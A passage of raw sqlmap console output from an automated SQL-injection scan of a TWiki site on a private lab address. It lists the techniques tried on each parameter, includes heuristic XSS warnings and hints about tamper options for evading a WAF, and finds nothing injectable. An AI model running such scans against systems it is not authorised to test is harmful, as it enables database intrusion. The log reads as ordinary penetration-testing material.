parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 141: GET http://192.168.1.113:80/twiki/bin/view/Main/WebChanges?rev=1.2 do you want to test this URL? [Y/n/q] Y [19:52:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebChanges?rev=1.2' [19:52:38] [INFO] testing connection to the target URL [19:52:39] [INFO] testing if the target URL is stable [19:52:40] [INFO] target URL is stable [19:52:40] [INFO] testing if GET parameter 'rev' is dynamic [19:52:40] [WARNING] GET parameter 'rev' does not appear dynamic [19:52:40] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:52:40] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:52:40] [INFO] testing for SQL injection on GET parameter 'rev' [19:52:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:52:40] [WARNING] reflective value(s) found and filtering out [19:52:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:52:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:52:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:52:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:52:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:52:45] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:52:45] [INFO] testing 'MySQL inline queries' [19:52:45] [INFO] testing 'PostgreSQL inline queries' [19:52:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:52:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:52:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:52:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:52:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:52:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:52:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:52:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:52:49] [INFO] testing 'Oracle AND time-based blind' [19:52:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:52:49] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:52:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:53:06] [WARNING] GET parameter 'rev' is not injectable [19:53:06] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:53:06] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebChanges?rev1=1.2&rev2=1.1' [19:53:06] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebChanges?rev=1.1' URL 142: GET http://192.168.1.113:80/twiki/bin/oops/Main/WebChanges?template=oopsmore¶m1=1.3¶m2=1.3 do you want to test this URL? [Y/n/q] Y [19:53:06] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Main/WebChanges?template=oopsmore¶m1=1.3¶m2=1.3' [19:53:06] [INFO] testing connection to the target URL [19:53:06] [INFO] testing if the target URL is stable [19:53:07] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:53:07] [INFO] testing if GET parameter 'template' is dynamic [19:53:07] [INFO] confirming that GET parameter 'template' is dynamic [19:53:07] [INFO] GET parameter 'template' is dynamic [19:53:07] [INFO] heuristics detected web page charset 'ascii' [19:53:07] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:53:07] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:53:07] [INFO] testing for SQL injection on GET parameter 'template' [19:53:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:53:07] [WARNING] reflective value(s) found and filtering out [19:53:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:53:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:53:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:53:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:53:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:53:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:53:10] [INFO] testing 'MySQL inline queries' [19:53:10] [INFO] testing 'PostgreSQL inline queries' [19:53:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:53:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:53:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:53:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:53:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:53:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:53:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:53:13] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:53:13] [INFO] testing 'Oracle AND time-based blind' [19:53:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:53:13] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:53:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:53:22] [WARNING] GET parameter 'template' is not injectable [19:53:22] [INFO] testing if GET parameter 'param1' is dynamic [19:53:22] [WARNING] GET parameter 'param1' does not appear dynamic [19:53:23] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:53:23] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:53:23] [INFO] testing for SQL injection on GET parameter 'param1' [19:53:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:53:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:53:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:53:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:53:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:53:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:53:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:53:26] [INFO] testing 'MySQL inline queries' [19:53:26] [INFO] testing 'PostgreSQL inline queries' [19:53:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:53:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:53:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:53:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:53:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:53:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:53:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:53:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:53:30] [INFO] testing 'Oracle AND time-based blind' [19:53:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:53:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:53:43] [WARNING] GET parameter 'param1' is not injectable [19:53:43] [INFO] testing if GET parameter 'param2' is dynamic [19:53:43] [WARNING] GET parameter 'param2' does not appear dynamic [19:53:43] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:53:43] [INFO] testing for SQL injection on GET parameter 'param2' [19:53:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:53:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:53:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:53:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:53:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:53:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:53:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:53:47] [INFO] testing 'MySQL inline queries' [19:53:47] [INFO] testing 'PostgreSQL inline queries' [19:53:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:53:47] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:53:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:53:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:53:48] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:53:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:53:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:53:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:53:50] [INFO] testing 'Oracle AND time-based blind' [19:53:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:53:54] [INFO] target URL appears to be UNION injectable with 10 columns [19:53:54] [WARNING] applying generic concatenation with double pipes ('||') injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [19:53:58] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [19:54:01] [INFO] testing 'MySQL UNION query (58) - 1 to 10 columns' [19:54:07] [WARNING] GET parameter 'param2' is not injectable [19:54:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 143: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/StartingPoints?t=1441457517 do you want to test this URL? [Y/n/q] Y [19:54:07] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/StartingPoints?t=1441457517' [19:54:07] [INFO] testing connection to the target URL [19:54:07] [INFO] testing if the target URL is stable [19:54:08] [INFO] target URL is stable [19:54:08] [INFO] testing if GET parameter 't' is dynamic [19:54:08] [WARNING] GET parameter 't' does not appear dynamic [19:54:08] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:54:08] [INFO] testing for SQL injection on GET parameter 't' [19:54:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:54:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:54:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:54:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:54:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:54:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:54:11] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:54:12] [INFO] testing 'MySQL inline queries' [19:54:12] [INFO] testing 'PostgreSQL inline queries' [19:54:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:54:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:54:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:54:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:54:13] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:54:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:54:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:54:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:54:15] [INFO] testing 'Oracle AND time-based blind' [19:54:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:54:15] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:54:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:54:27] [WARNING] GET parameter 't' is not injectable [19:54:27] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 144: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Starting Points[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:54:27] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Starting Points[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:54:27] [INFO] testing connection to the target URL [19:54:27] [INFO] testing if the target URL is stable [19:54:28] [INFO] target URL is stable [19:54:28] [INFO] testing if URI parameter '#1' is dynamic [19:54:28] [INFO] confirming that URI parameter '#1*' is dynamic [19:54:28] [INFO] URI parameter '#1*' is dynamic [19:54:28] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:54:28] [INFO] testing for SQL injection on URI parameter '#1*' [19:54:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:54:28] [WARNING] reflective value(s) found and filtering out [19:54:30] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [19:54:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:54:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:54:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:54:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:54:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:54:30] [INFO] testing 'MySQL inline queries' [19:54:30] [INFO] testing 'PostgreSQL inline queries' [19:54:30] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:54:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:54:30] [WARNING] time-based comparison requires larger statistical model, please wait.....
[19:54:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:54:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:54:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:54:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:54:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:54:31] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:54:31] [INFO] testing 'Oracle AND time-based blind' [19:54:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [19:54:32] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:54:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [19:54:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [19:54:35] [INFO] checking if the injection point on URI parameter '#1*' is a false positive [19:54:35] [WARNING] false positive or unexploitable injection point detected [19:54:35] [WARNING] URI parameter '#1*' is not injectable [19:54:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 145: GET http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?skin=print do you want to test this URL? [Y/n/q] Y [19:54:35] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?skin=print' [19:54:35] [INFO] testing connection to the target URL [19:54:35] [INFO] testing if the target URL is stable [19:54:36] [INFO] target URL is stable [19:54:36] [INFO] testing if GET parameter 'skin' is dynamic [19:54:36] [INFO] confirming that GET parameter 'skin' is dynamic [19:54:36] [INFO] GET parameter 'skin' is dynamic [19:54:36] [INFO] heuristics detected web page charset 'ascii' [19:54:36] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:54:37] [INFO] testing for SQL injection on GET parameter 'skin' [19:54:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:54:37] [WARNING] reflective value(s) found and filtering out [19:54:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:54:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:54:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:54:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:54:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:54:40] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:54:40] [INFO] testing 'MySQL inline queries' [19:54:40] [INFO] testing 'PostgreSQL inline queries' [19:54:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:54:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:54:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:54:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:54:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:54:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:54:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:54:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:54:43] [INFO] testing 'Oracle AND time-based blind' [19:54:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:54:44] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:54:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:54:54] [WARNING] GET parameter 'skin' is not injectable [19:54:54] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 146: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/StartingPoints?rev1=1.4&rev2=1.3 do you want to test this URL? [Y/n/q] Y [19:54:54] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/StartingPoints?rev1=1.4&rev2=1.3' [19:54:54] [INFO] testing connection to the target URL [19:54:55] [INFO] testing if the target URL is stable [19:54:56] [INFO] target URL is stable [19:54:56] [INFO] testing if GET parameter 'rev1' is dynamic [19:54:56] [WARNING] GET parameter 'rev1' does not appear dynamic [19:54:56] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:54:56] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [19:54:56] [INFO] testing for SQL injection on GET parameter 'rev1' [19:54:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:54:56] [WARNING] reflective value(s) found and filtering out [19:54:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:54:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:54:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:54:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:54:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:55:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:55:00] [INFO] testing 'MySQL inline queries' [19:55:00] [INFO] testing 'PostgreSQL inline queries' [19:55:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:55:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:55:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:55:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:55:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:55:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:55:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:55:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:55:03] [INFO] testing 'Oracle AND time-based blind' [19:55:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:55:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:55:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:55:16] [WARNING] GET parameter 'rev1' is not injectable [19:55:16] [INFO] testing if GET parameter 'rev2' is dynamic [19:55:16] [INFO] confirming that GET parameter 'rev2' is dynamic [19:55:16] [INFO] GET parameter 'rev2' is dynamic [19:55:16] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:55:16] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [19:55:16] [INFO] testing for SQL injection on GET parameter 'rev2' [19:55:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:55:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:55:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:55:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:55:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:55:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:55:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:55:20] [INFO] testing 'MySQL inline queries' [19:55:20] [INFO] testing 'PostgreSQL inline queries' [19:55:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:55:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:55:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:55:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:55:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:55:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:55:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:55:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:55:24] [INFO] testing 'Oracle AND time-based blind' [19:55:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:55:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:55:38] [WARNING] GET parameter 'rev2' is not injectable [19:55:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 147: GET http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=1.3 do you want to test this URL? [Y/n/q] Y [19:55:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=1.3' [19:55:38] [INFO] testing connection to the target URL [19:55:38] [INFO] testing if the target URL is stable [19:55:39] [INFO] target URL is stable [19:55:39] [INFO] testing if GET parameter 'rev' is dynamic [19:55:39] [WARNING] GET parameter 'rev' does not appear dynamic [19:55:39] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:55:39] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:55:39] [INFO] testing for SQL injection on GET parameter 'rev' [19:55:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:55:39] [WARNING] reflective value(s) found and filtering out [19:55:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:55:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:55:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:55:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:55:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:55:43] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:55:43] [INFO] testing 'MySQL inline queries' [19:55:43] [INFO] testing 'PostgreSQL inline queries' [19:55:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:55:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:55:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:55:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:55:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:55:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:55:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:55:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:55:46] [INFO] testing 'Oracle AND time-based blind' [19:55:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:55:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:55:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:55:59] [WARNING] GET parameter 'rev' is not injectable [19:55:59] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:55:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/StartingPoints?rev1=1.3&rev2=1.2' [19:55:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=1.2' URL 148: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/StartingPoints?template=oopsmore¶m1=1.4¶m2=1.4 do you want to test this URL? [Y/n/q] Y [19:55:59] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/StartingPoints?template=oopsmore¶m1=1.4¶m2=1.4' [19:55:59] [INFO] testing connection to the target URL [19:55:59] [INFO] testing if the target URL is stable [19:56:00] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:56:00] [INFO] testing if GET parameter 'template' is dynamic [19:56:00] [INFO] confirming that GET parameter 'template' is dynamic [19:56:00] [INFO] GET parameter 'template' is dynamic [19:56:00] [INFO] heuristics detected web page charset 'ascii' [19:56:00] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:56:00] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:56:00] [INFO] testing for SQL injection on GET parameter 'template' [19:56:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:56:01] [WARNING] reflective value(s) found and filtering out [19:56:01] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:56:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:56:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:56:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:56:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:56:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:56:03] [INFO] testing 'MySQL inline queries' [19:56:03] [INFO] testing 'PostgreSQL inline queries' [19:56:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:56:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:56:04] [INFO] testing 'PostgreSQL > 8.1 